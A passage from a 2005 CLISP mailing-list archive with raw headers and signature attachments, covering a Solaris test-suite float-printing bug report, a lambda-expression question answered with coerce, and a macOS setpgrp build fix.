T7PXdMYoHmngL85U6DAdBgNVHQ4EFgQUhAGBjUCpje7O6soGuw1NAKbdT3cwFgYDVR0gBA8wDTAL BglghkgBZQIBCwkwgY8GA1UdEgSBhzCBhIaBgWxkYXA6Ly9lbWFpbC1kcy0zLmMzcGtpLmNoYW1i LmRpc2EubWlsL2NuJTNkRE9EJTIwQ0xBU1MlMjAzJTIwRU1BSUwlMjBDQS01JTJjb3UlM2RQS0kl MmNvdSUzZERvRCUyY28lM2RVLlMuJTIwR292ZXJubWVudCUyY2MlM2RVUzCBuQYDVR0fBIGxMIGu MIGroIGooIGlhoGibGRhcDovL2VtYWlsLWRzLTMuYzNwa2kuY2hhbWIuZGlzYS5taWwvY24lM2RE T0QlMjBDTEFTUyUyMDMlMjBFTUFJTCUyMENBLTUlMmNvdSUzZFBLSSUyY291JTNkRG9EJTJjbyUz ZFUuUy4lMjBHb3Zlcm5tZW50JTJjYyUzZFVTP2NlcnRpZmljYXRlcmV2b2NhdGlvbmxpc3Q7Ymlu YXJ5MCkGA1UdJQQiMCAGCisGAQQBgjcUAgIGCCsGAQUFBwMEBggrBgEFBQcDAjBDBgNVHREEPDA6 gRhtYXJrLmwud2lsbGlhbXNAbmF2eS5taWygHgYKKwYBBAGCNxQCA6AQDA4xMjI5NTQ3NjExQG1p bDANBgkqhkiG9w0BAQUFAAOBgQAdMIPM5mSMZfMrYsh0MT/l+cCa2/jlqVVCpIkLvoh/jE4xGqsp fPhn0DSg5Xup2PpPp8vh7hp1Rb2jkN5jNwwoqedvh2abtbEgN6rU/uPidMooO/8dEeruvkfD7ezp dWHtlNX8QHpM26oz++DSu7mOqhMddZpyemlbfpkV8+1+RzGCArcwggKzAgEBMGswZDELMAkGA1UE BhMCVVMxGDAWBgNVBAoTD1UuUy4gR292ZXJubWVudDEMMAoGA1UECxMDRG9EMQwwCgYDVQQLEwNQ S0kxHzAdBgNVBAMTFkRPRCBDTEFTUyAzIEVNQUlMIENBLTUCAw+NtjAJBgUrDgMCGgUAoIIBojAY BgkqhkiG9w0BCQMxCwYJKoZIhvcNAQcBMBwGCSqGSIb3DQEJBTEPFw0wNTA0MDYxNjQ5MzlaMCMG CSqGSIb3DQEJBDEWBBTCQvkDLyzR6jUnVpR2YVncxs4UeDBJBgkqhkiG9w0BCQ8xPDA6MAoGCCqG SIb3DQMHMA4GCCqGSIb3DQMCAgIAgDAHBgUrDgMCBzAHBgUrDgMCGjAKBggqhkiG9w0CBTB6Bgkr BgEEAYI3EAQxbTBrMGQxCzAJBgNVBAYTAlVTMRgwFgYDVQQKEw9VLlMuIEdvdmVybm1lbnQxDDAK BgNVBAsTA0RvRDEMMAoGA1UECxMDUEtJMR8wHQYDVQQDExZET0QgQ0xBU1MgMyBFTUFJTCBDQS01 AgMPjbwwfAYLKoZIhvcNAQkQAgsxbaBrMGQxCzAJBgNVBAYTAlVTMRgwFgYDVQQKEw9VLlMuIEdv dmVybm1lbnQxDDAKBgNVBAsTA0RvRDEMMAoGA1UECxMDUEtJMR8wHQYDVQQDExZET0QgQ0xBU1Mg MyBFTUFJTCBDQS01AgMPjbwwDQYJKoZIhvcNAQEBBQAEgYAFNWqXF17ArfCrh3EAZZiIt/dsDLL3 ZpKtGh3jmJYLCX+qHF8MJLOjYVzNYhd1VHLr4xouLlVTCMYdOtsFSMp8SIQMlDMkPR+xnOlwseFZ VJSgdrS0Odh6XplhMxYg5asoXpa3ody1Al1CstOp1HH91xoEQMIzxTQzESPjDZsEPAAAAAAAAA== ------=_NextPart_000_0179_01C53A9E.B6B1DA40-- From sds@gnu.org Wed Apr 06 11:49:00 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DJFaF-0007Km-R3 for clisp-list@lists.sourceforge.net; Wed, 06 Apr 2005 11:48:59 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DJFaD-0001Q1-76 for clisp-list@lists.sourceforge.net; Wed, 06 Apr 2005 11:48:59 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j36Ikl0x003706; Wed, 6 Apr 2005 14:46:47 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Williams, Mark L CIV NSWC-PC" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <2790804CBFD3C749BE6D40CE54CDA5A1011FFA48@naeanrfkez06.nadsusea.nads.navy.mil> (Mark L. Williams's message of "Wed, 6 Apr 2005 12:49:41 -0400") References: <2790804CBFD3C749BE6D40CE54CDA5A1011FFA48@naeanrfkez06.nadsusea.nads.navy.mil> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Williams, Mark L CIV NSWC-PC" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: TESTSUITE FAILURE IN LOOP.TST, SOLARIS 9 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 6 11:49:23 2005 X-Original-Date: Wed, 06 Apr 2005 14:48:14 -0400 > * Williams, Mark L CIV NSWC-PC [2005-04-06 12:49:41 -0400]: > > I'd have to say there's a math problem. From alltest.erg (no loop.erg > available)... > > Form: (PRIN1-TO-STRING (SIN (* 8 (/ PI 2)))) > CORRECT: "2.0066230454737344098l-19" > CLISP: "3.231752895461926238989L-16" > > ... plus additional similar reports against things like > MOST-NEGATIVE-SHORT-FLOAT and other types. please be more specific. > please read > > please do read these links. we need gcc --version, uname -a, clisp --version &c > please try to build a "--with-debug" version and see if it displays the same problems: ./configure --with-debug --build build-g -- Sam Steingold (http://www.podval.org/~sds) running w2k Democrats, get out of my wallet! Republicans, get out of my bedroom! From kk02@txstate.edu Wed Apr 06 13:43:38 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DJHNA-00068K-4v for clisp-list@lists.sourceforge.net; Wed, 06 Apr 2005 13:43:36 -0700 Received: from sieve.cr.txstate.edu ([147.26.8.23]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DJHN7-0005Ww-M3 for clisp-list@lists.sourceforge.net; Wed, 06 Apr 2005 13:43:36 -0700 Received: from romana.txstate.edu (romana.txstate.edu [147.26.10.15]) by sieve.cr.txstate.edu (8.12.11/8.12.11) with ESMTP id j36KhSbw003214 for ; Wed, 6 Apr 2005 15:43:28 -0500 Received: from w1.swt.edu ([147.26.11.34]) by txstate.edu (PMDF V6.0-025 #30634) with ESMTP id <01LMS1XLSXPK8ZG2KI@txstate.edu> for clisp-list@lists.sourceforge.net; Wed, 06 Apr 2005 15:43:27 -0500 (CDT) From: kk02 To: clisp-list@lists.sourceforge.net Message-id: <42E7637C@w1.swt.edu> MIME-version: 1.0 X-Mailer: WebMail (Hydra) SMTP v3.62 Content-type: text/plain; charset=ISO-8859-1 Content-transfer-encoding: 7bit X-WebMail-UserID: kk02 X-EXP32-SerialNo: 00002986 X-Proofpoint-Spam-Score: 0 X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers Subject: [clisp-list] lambda expression Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 6 13:43:59 2005 X-Original-Date: Wed, 06 Apr 2005 15:43:27 -0500 Hi Everyone, I have recently started using clisp on Linux. I have used VAX Common Lisp for over 20 years. I have encountered a problem with lambda expressions. The code that used to work on VAX is not working. Basically, I am trying something similar to the following: (defun dotests (hold args tests) (apply `(lambda ,(cons 'hold (car args)) ,tests) (cons hold (cadr args)))) The error I am getting is: APPLY: argument (LAMBDA ...) is not a function. Any suggestions would be appreciated. Regards, Khosrow Kaikhah From sds@gnu.org Wed Apr 06 14:10:01 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DJHmj-00089l-2H for clisp-list@lists.sourceforge.net; Wed, 06 Apr 2005 14:10:01 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DJHmf-0008Ad-44 for clisp-list@lists.sourceforge.net; Wed, 06 Apr 2005 14:10:00 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j36L7nAH021676; Wed, 6 Apr 2005 17:07:49 -0400 (EDT) To: clisp-list@lists.sourceforge.net, kk02 Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <42E7637C@w1.swt.edu> (kk's message of "Wed, 06 Apr 2005 15:43:27 -0500") References: <42E7637C@w1.swt.edu> Mail-Followup-To: clisp-list@lists.sourceforge.net, kk02 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: lambda expression Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 6 14:10:35 2005 X-Original-Date: Wed, 06 Apr 2005 17:09:16 -0400 > * kk02 [2005-04-06 15:43:27 -0500]: > > (defun dotests (hold args tests) > (apply `(lambda ,(cons 'hold (car args)) ,tests) (cons hold (cadr args)))) > > The error I am getting is: > > APPLY: argument (LAMBDA ...) is not a function. indeed, in ANSI CL lambda expressions are not functions. you need to do (defun dotests (hold args tests) (apply (coerce `(lambda ,(cons 'hold (car args)) ,tests) 'function) (cons hold (cadr args)))) although I suspect that a macro would be more appropriate than a function here. -- Sam Steingold (http://www.podval.org/~sds) running w2k Money does not "play a role", it writes the scenario. From sds@gnu.org Wed Apr 06 15:37:06 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DJJ8z-0006O4-VF for clisp-list@lists.sourceforge.net; Wed, 06 Apr 2005 15:37:05 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DJJ8w-0007ir-Av for clisp-list@lists.sourceforge.net; Wed, 06 Apr 2005 15:37:05 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j36MZ0ow028926; Wed, 6 Apr 2005 18:35:00 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Lars Rosengreen Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Lars Rosengreen's message of "Tue, 5 Apr 2005 19:20:08 -0700") References: <3e4da9c38d018413fcfdc613b71741e1@margay.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Lars Rosengreen Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp cvs build fails for me on mac osx 10.3.8 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 6 15:37:44 2005 X-Original-Date: Wed, 06 Apr 2005 18:36:26 -0400 > * Lars Rosengreen [2005-04-05 19:20:08 -0700]: > > On Apr 5, 2005, at 3:02 PM, Sam Steingold wrote: > >>> * Lars Rosengreen [2005-04-05 14:51:12 -0700]: >>> >>> calls.c: In function `C_subr_posix_setpgrp': >>> calls.c:353: error: too few arguments to function `setpgrp' >> >> : >> pid_t setpgrp(void); >> >> how is setpgrp() defined on your platform? > > man setpgrp returns: > > int > setpgrp(pid_t pid, pid_t pgrp); OK, I added a configure test for this breakage. could you please try clisp cvs head again? Thanks! -- Sam Steingold (http://www.podval.org/~sds) running w2k I want Tamagochi! -- What for? Your pet hamster is still alive! From mark.l.williams@navy.mil Thu Apr 07 07:56:05 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DJYQP-00047u-96 for clisp-list@lists.sourceforge.net; Thu, 07 Apr 2005 07:56:05 -0700 Received: from gate10-norfolk.nmci.navy.mil ([138.162.5.7]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DJYQM-0004ei-SC for clisp-list@lists.sourceforge.net; Thu, 07 Apr 2005 07:56:04 -0700 Received: from naeanrfkms04.nmci.navy.mil by gate10-norfolk.nmci.navy.mil via smtpd (for lists.sourceforge.net [66.35.250.206]) with ESMTP; Thu, 7 Apr 2005 14:56:02 +0000 Received: (private information removed) Received: from no.name.available by naeanrfkfw14c.nmci.navy.mil via smtpd (for insidesmtp2.nmci.navy.mil [10.16.0.170]) with ESMTP; Thu, 7 Apr 2005 14:55:57 +0000 Received: (private information removed) Received: (private information removed) Received: (private information removed) Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; boundary="----=_NextPart_000_00A6_01C53B57.CFCF73C0"; micalg=SHA1 Message-ID: <2790804CBFD3C749BE6D40CE54CDA5A1011FFB6E@naeanrfkez06.nadsusea.nads.navy.mil> X-MimeOLE: Produced By Microsoft Exchange V6.0.6603.0 X-MS-Has-Attach: yes X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] Re: TESTSUITE FAILURE IN LOOP.TST, SOLARIS 9 Thread-Index: AcU62WEMzzY4ZTuSRKCq7+U1t2HA7wAkxLfQAAUvrGAAABjZwA== From: "Williams, Mark L CIV NSWC-PC" To: X-OriginalArrivalTime: 07 Apr 2005 14:54:41.0637 (UTC) FILETIME=[BA8A4150:01C53B81] X-Spam-Score: 0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.4 SUBJ_ALL_CAPS Subject is all capitals 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] TENTATIVE CLISP 2.33.2 BUG REPORT (DELETE IF PREVIOUSLY RCVD) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Apr 7 08:07:23 2005 X-Original-Date: Thu, 7 Apr 2005 10:54:40 -0400 This is a multi-part message in MIME format. ------=_NextPart_000_00A6_01C53B57.CFCF73C0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Referencing my earlier questions about testsuite failure: I apparently should have submitted a bug report rather than asking if there was a problem. I wondered if I was overlooking something. Here is an abridged event report, submitted as a bug incident. The full report is waiting for list moderator action and so is available for developers' review. I appreciate the guidance and support already provided. Mark ========================================================= CLISP diagnostic info: ============================== gcc --version: gcc (GCC) 3.4.1 ============================== uname -a: SunOS zng 5.9 Generic_112233-12 sun4u sparc SUNW,Sun-Blade-1500 ============================== clisp --version: GNU CLISP 2.33.2 (2004-06-02) (built 3321538435) (memory 3321538728) Software: GNU C 3.4.1 ANSI C program Features: (CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER UNIX) Installation directory: /usr/local/lib/clisp/ User language: ENGLISH Machine: SUN4U (SUN4U) zng [(--local IP address deleted-- -mlw)] ============================== Sources came from SourceForge Feb 23 2005 ============================== Original build for which errors are reported was built following the .../unix/INSTALL instructions steps 1-8. All steps were executed verbatim whenever possible. Specific target directory was "sol9". "Expert" options were not taken (step 7). ============================== .erg files from non-debug build (in sol9/suite): alltest.erg, clos.erg, format.erg, and number.erg ======== 1. alltest.erg Form: (PRIN1-TO-STRING (SIN (* 8 (/ PI 2)))) CORRECT: "2.0066230454737344098L-19" CLISP : "3.231752895461926238989L-16" Form: (PRIN1-TO-STRING (COS (/ PI 2))) CORRECT: "-2.5082788068421680123L-20" CLISP : "-4.06630079178551141L-23" Form: (PRIN1-TO-STRING MOST-POSITIVE-SHORT-FLOAT) CORRECT: "1.7014s38" CLISP : "8.263837s40" Form: (PRIN1-TO-STRING LEAST-POSITIVE-SHORT-FLOAT) CORRECT: "2.93874s-39" CLISP : "1.251665552898187626028627305442544039995386333852712765000027262784603 445006811778548112556s48" Form: (PRIN1-TO-STRING LEAST-NEGATIVE-SHORT-FLOAT) CORRECT: "-2.93874s-39" CLISP : "-1.25166555289818762602862730544254403999538633385271276500002726278460 3445006811778548112556s48" Form: (PRIN1-TO-STRING MOST-NEGATIVE-SHORT-FLOAT) CORRECT: "-1.7014s38" CLISP : "-8.263837s40" Form: (LET ((S (PRIN1-TO-STRING MOST-POSITIVE-SINGLE-FLOAT))) (OR (EQUAL S "1.7014117E38") (EQUAL S "3.4028235E38"))) CORRECT: T CLISP : NIL Form: (LET ((S (PRIN1-TO-STRING LEAST-POSITIVE-SINGLE-FLOAT))) (OR (EQUAL S "2.938736E-39") (EQUAL S "1.1754944E-38"))) CORRECT: T CLISP : NIL Form: (LET ((S (PRIN1-TO-STRING LEAST-NEGATIVE-SINGLE-FLOAT))) (OR (EQUAL S "-2.938736E-39") (EQUAL S "-1.1754944E-38"))) CORRECT: T CLISP : NIL Form: (LET ((S (PRIN1-TO-STRING MOST-NEGATIVE-SINGLE-FLOAT))) (OR (EQUAL S "-1.7014117E38") (EQUAL S "-3.4028235E38"))) CORRECT: T CLISP : NIL Form: (LET ((S (PRIN1-TO-STRING MOST-POSITIVE-DOUBLE-FLOAT))) (OR (EQUAL S "8.988465674311579d307") (EQUAL S "1.7976931348623157d308"))) CORRECT: T CLISP : NIL Form: (LET ((S (PRIN1-TO-STRING LEAST-POSITIVE-DOUBLE-FLOAT))) (OR (EQUAL S "5.562684646268004d-309") (EQUAL S "2.2250738585072014d-308"))) CORRECT: T CLISP : NIL Form: (LET ((S (PRIN1-TO-STRING LEAST-NEGATIVE-DOUBLE-FLOAT))) (OR (EQUAL S "-5.562684646268004d-309") (EQUAL S "-2.2250738585072014d-308"))) CORRECT: T CLISP : NIL Form: (LET ((S (PRIN1-TO-STRING MOST-NEGATIVE-DOUBLE-FLOAT))) (OR (EQUAL S "-8.988465674311579d307") (EQUAL S "-1.7976931348623157d308"))) CORRECT: T CLISP : NIL Form: (PRIN1-TO-STRING MOST-POSITIVE-LONG-FLOAT) CORRECT: "8.8080652584198167656L646456992" CLISP : "4.9589395278484520729L646456995" Form: (PRIN1-TO-STRING LEAST-POSITIVE-LONG-FLOAT) CORRECT: "5.676615526003731344L-646456994" CLISP : "1.075339594715865228092141085774369822273710944449632863745479280044406 533676887776535578796111903516855125375242445636484876612350677455591930 785892044713946222484974223804159226285226870711169509360042361551789275 850037879910751868656030255744261645127416442679948284526045340095080789 700270325015934363031107600513286834670105236784013215663113259891395826 353270882951250987856446309525418350313150492859413335749411678599390139 809958625422073444441522508097228858337860082082476960961848202551525920 285083364608939437012948286011713197627457847350300428304755529146404710 052181787435377640050925633776003975572214280431374899144226951444677070 888680689738995321960439262640905573595302108616042856210052856528381975 293127569112503898719829864668421195949362199987984468997470606763086045 906274472117136868913148741672078539279759497301828312457317220724598931 935550231227037950826878680765278259644308761833265158841235644650204108 888274593370995542916351968849479209578634301558772036512078772037398829 956934611685384569752223286934140409475777520223952629850863959483915270 090467918472371419077565083522339838250553925500017622314626750002477044 812873673933100232063405647107812072609360601171986633071878890862815279 00819006993219228406705553L-646455764" Form: (PRIN1-TO-STRING LEAST-NEGATIVE-LONG-FLOAT) CORRECT: "-5.676615526003731344L-646456994" CLISP : "-1.07533959471586522809214108577436982227371094444963286374547928004440 653367688777653557879611190351685512537524244563648487661235067745559193 078589204471394622248497422380415922628522687071116950936004236155178927 585003787991075186865603025574426164512741644267994828452604534009508078 970027032501593436303110760051328683467010523678401321566311325989139582 635327088295125098785644630952541835031315049285941333574941167859939013 980995862542207344444152250809722885833786008208247696096184820255152592 028508336460893943701294828601171319762745784735030042830475552914640471 005218178743537764005092563377600397557221428043137489914422695144467707 088868068973899532196043926264090557359530210861604285621005285652838197 529312756911250389871982986466842119594936219998798446899747060676308604 590627447211713686891314874167207853927975949730182831245731722072459893 193555023122703795082687868076527825964430876183326515884123564465020410 888827459337099554291635196884947920957863430155877203651207877203739882 995693461168538456975222328693414040947577752022395262985086395948391527 009046791847237141907756508352233983825055392550001762231462675000247704 481287367393310023206340564710781207260936060117198663307187889086281527 900819006993219228406705553L-646455764" Form: (PRIN1-TO-STRING MOST-NEGATIVE-LONG-FLOAT) CORRECT: "-8.8080652584198167656L646456992" CLISP : "-4.9589395278484520729L646456995" Form: (LET ((S (PRIN1-TO-STRING DOUBLE-FLOAT-EPSILON))) (OR (EQUAL S "1.1102230246251568d-16"))) CORRECT: T CLISP : NIL Form: (PRIN1-TO-STRING LONG-FLOAT-EPSILON) CORRECT: "5.4210108624275221706L-20" CLISP : "8.73077162673801133302L-17" Form: (PRIN1-TO-STRING SHORT-FLOAT-NEGATIVE-EPSILON) CORRECT: "3.81476s-6" CLISP : ERROR ASH: too large shift amount 10488599 Form: (PRIN1-TO-STRING SINGLE-FLOAT-NEGATIVE-EPSILON) CORRECT: "2.9802326E-8" CLISP : "3726983.9652936654957" Form: (LET ((S (PRIN1-TO-STRING DOUBLE-FLOAT-NEGATIVE-EPSILON))) (OR (EQUAL S "5.551115123125784d-17"))) CORRECT: T CLISP : NIL Form: (PRIN1-TO-STRING LONG-FLOAT-NEGATIVE-EPSILON) CORRECT: "2.7105054312137610853L-20" CLISP : "1.980312351199606712116955370523075876208807848705999638055825023474781 318067321663486217541910144721225461276542514073328163109970986771708705 645023063478271317102359287668072819698653864759644314321286795621975411 95480512855842138980379262L202" ======== 2. clos.erg Form: (PROGN (DEFMETHOD UPDATE-INSTANCE-FOR-REDEFINED-CLASS :BEFORE ((POS X-Y-POSITION) ADDED DELETED PLIST &KEY) (LET ((X (GETF PLIST 'X)) (Y (GETF PLIST 'Y))) (SETF (POSITION-RHO POS) (SQRT (+ (* X X) (* Y Y))) (POSITION-THETA POS) (ATAN Y X)))) (DEFCLASS X-Y-POSITION (POSITION) ((RHO :INITFORM 0 :ACCESSOR POSITION-RHO) (THETA :INITFORM 0 :ACCESSOR POSITION-THETA))) (DEFMETHOD POSITION-X ((POS X-Y-POSITION)) (WITH-SLOTS (RHO THETA) POS (* RHO (COS THETA)))) (DEFMETHOD (SETF POSITION-X) (NEW-X (POS X-Y-POSITION)) (WITH-SLOTS (RHO THETA) POS (LET ((Y (POSITION-Y POS))) (SETQ RHO (SQRT (+ (* NEW-X NEW-X) (* Y Y))) THETA (ATAN Y NEW-X)) NEW-X))) (DEFMETHOD POSITION-Y ((POS X-Y-POSITION)) (WITH-SLOTS (RHO THETA) POS (* RHO (SIN THETA)))) (DEFMETHOD (SETF POSITION-Y) (NEW-Y (POS X-Y-POSITION)) (WITH-SLOTS (RHO THETA) POS (LET ((X (POSITION-X POS))) (SETQ RHO (SQRT (+ (* X X) (* NEW-Y NEW-Y))) THETA (ATAN NEW-Y X)) NEW-Y))) (LIST (TYPE-OF I) (POSITION-X I) (POSITION-Y I) (POSITION-RHO I) (POSITION-THETA I))) CORRECT: (X-Y-POSITION 1.0000000000000002d0 1.0d0 1.4142135623730951d0 0.7853981633974483d0) CLISP : (X-Y-POSITION 1.2204312306997862d0 0.7318604960305054d0 1.4142135623730951d0 0.7853981633974483d0) ======== 3. format.erg Form: (FOO 1100.0L0) CORRECT: " 1.10L+3| 11.00$+02|+.001L+06| 1.10L+3" CLISP : ERROR division by zero Form: (FOO 3141.59L0) CORRECT: " 3.14L+3|314.2$+01|0.314L+04| 3.14L+3" CLISP : ERROR division by zero ======== 4. number.erg: File exists, size = 0. ============================== Attempt to build a debug version fails: Command line: ./configure --with-debug --build build-g Output at failure: ... ln -s ../src/dutch.lisp dutch.lisp rm -f deprecated.lisp ln -s ../src/deprecated.lisp deprecated.lisp cp -p ../src/cfgsunux.lisp config.lisp chmod +w config.lisp echo '(setq *clhs-root-default* "http://www.lisp.org/HyperSpec/")' >> config.lisp ./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))" STACK depth: 23975 SP depth: 263481 Segmentation Fault - core dumped make: *** [interpreted.mem] Error 139 ============================== Complete output from attempt to build debug version follows (1705 lines): --- cut to fit allowable list item size; available on previous email --- ------=_NextPart_000_00A6_01C53B57.CFCF73C0 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIM2DCCBBsw ggOEoAMCAQICASAwDQYJKoZIhvcNAQEFBQAwYTELMAkGA1UEBhMCVVMxGDAWBgNVBAoTD1UuUy4g R292ZXJubWVudDEMMAoGA1UECxMDRG9EMQwwCgYDVQQLEwNQS0kxHDAaBgNVBAMTE0RvRCBDTEFT UyAzIFJvb3QgQ0EwHhcNMDMwMzIwMTUwMjUzWhcNMDkwMzE4MTUwMjUzWjBkMQswCQYDVQQGEwJV UzEYMBYGA1UEChMPVS5TLiBHb3Zlcm5tZW50MQwwCgYDVQQLEwNEb0QxDDAKBgNVBAsTA1BLSTEf MB0GA1UEAxMWRE9EIENMQVNTIDMgRU1BSUwgQ0EtNTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkC gYEArs9GG8FYEVBIzCTd6BD/+FyPTb+aH+cfdYTshM1SJNhuxjIKFr8Sekv422eYigX/ly71oSs9 b17jFhxCYWNgQBZg9ptTjdJy6MmCuBR5D9I8zlklGgfBJQaSvss7HBVgTmlubfaCtgh3Whi8Ysez gSnhdVLbBxpAO/J0qR5l2sMCAwEAAaOCAd4wggHaMB0GA1UdDgQWBBT8EPq5amEuT7PXdMYoHmng L85U6DAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAMBgNVHSQEBTADgAEAMB8GA1Ud IwQYMBaAFGycpfBcj21BjcQXO5BXwg+jzW3+MDAGA1UdIAQpMCcwCwYJYIZIAWUCAQsFMAsGCWCG SAFlAgELCTALBglghkgBZQIBCwowgYMGA1UdEgR8MHqGeGxkYXA6Ly9kcy0zLmMzcGtpLmNoYW1i LmRpc2EubWlsL2NuJTNkRG9EJTIwQ0xBU1MlMjAzJTIwUm9vdCUyMENBJTJjb3UlM2RQS0klMmNv dSUzZERvRCUyY28lM2RVLlMuJTIwR292ZXJubWVudCUyY2MlM2RVUzCBsAYDVR0fBIGoMIGlMIGi 